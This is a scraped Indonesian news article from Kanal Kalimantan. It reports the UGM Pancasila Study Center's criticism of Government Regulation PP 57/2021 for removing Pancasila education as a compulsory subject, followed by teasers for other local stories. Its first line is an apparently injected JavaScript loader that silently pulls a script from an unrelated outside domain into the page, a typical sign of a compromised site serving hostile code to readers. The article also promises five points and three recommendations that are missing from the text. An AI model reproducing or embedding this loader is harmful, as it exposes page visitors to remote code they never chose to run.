(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Pusat Studi Pancasila UGM mengkritik pemerintah atas dihapusnya Pendidikan Pancasila melalui Peraturan Pemerintah (PP) Nomor 57 Tahun 2021 tentang Standar Nasional Pendidikan (SNP), yang diundangkan pada 31 Maret 2021.
Salah satu alasannya, melalui PP 57/2021, yang baru diteken tersebut, pemerintah menghapuskan Pendidikan Pancasila, Pendidikan Kewarganegaraan, dan Bahasa Indonesia sebagai pelajaran atau mata kuliah wajib.
“Penghapusan Pendidikan Pancasila sejak diberlakukan UU Sisdiknas 2003 mengakibatkan generasi muda Indonesia pasca-reformasi kehilangan rujukan penting tentang hakikat hidup bernegara yang baik dan tepat. Fenomena bahwa generasi milenial, 85% dari mereka rentan terpapar radikalisme-terorisme sebagaimana temuan BNPT Desember 2020 kadang dianggap memberi indikasi mengenai dampak ikutan dari kebijakan ini,” ungkap Kepala Pusat Studi Pancasila UGM Agus Wahyudi melalui keterangan tertulis yang diterima SuaraJogja.id pada Jumat (16/4/2021).
Padahal, menurut keterangannya, penting bagi anak didik untuk mendapatka pendidikan yang berkaitan dengan pengembangan karakter, etika, dan integritas. Di antaranya melalui Pendidikan Pancasila.
Baca juga : 10 Peristiwa Besar Saat Ramadhan
Pihaknya menilai, Pendidikan Pancasila penting karena mengandung konten yang kaya dan secara historis bermakna dalam memberi sumbangan pembentukan imaginasi negara bangsa modern.
“Pancasila adalah nilai moral dan basis pendidikan kewarnegaraan. “Nilai moral” mengungkapkan atau mengekspresikan apa yang dianggap penting oleh warga negara dalam hidup mereka dan dalam kehidupan bersama orang-orang yang berbeda,” terang Agus.
Lantas, dihapusnya, atau tidak disebutkannya Pendidikan Pancasila dalam standar kurikulum sebagai pelajaran dan mata kuliah wajib menimbulkan banyak tanda tanya.
Pusat Studi Pancasila UGM pun beranggapan, pemerintah tak menghargai pengertian penting sejarah Pancasila bagi pembentukan identitas, dan cara hidup bersama yang terbaik sebagai warga negara.
Baca juga : Hacker di Indonesia Bobol Data Pemohon Bansos AS, Dapat Duit Banyak
“Kebijakan dalam PP 57/2021 terkait Pancasila karena itu merefleksikan pengambilan keputusan tanpa informasi lengkap dan tanpa pertimbangan yang mendalam (neither well-informed nor thoughtful) dan mencerminkan sikap yang tidak bertanggung jawab terhadap Pancasila,” tegas Agus.
Untuk itu, pihaknya memberi tanggapan keras terhadap keputusan pemerintah tersebut, yang terbagi atas lima poin, sebagai berikut:
Baca juga : Dua Hari, 3 Warga Banjarbaru Meninggal Karena Covid-19
Tak hanya mengkritik, Pusat Studi Pancasila UGM juga memberikan tiga rekomendasi dan tindak lanjut yang perlu dilakukan pemerintah pasca-penekenan PP SNP:
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.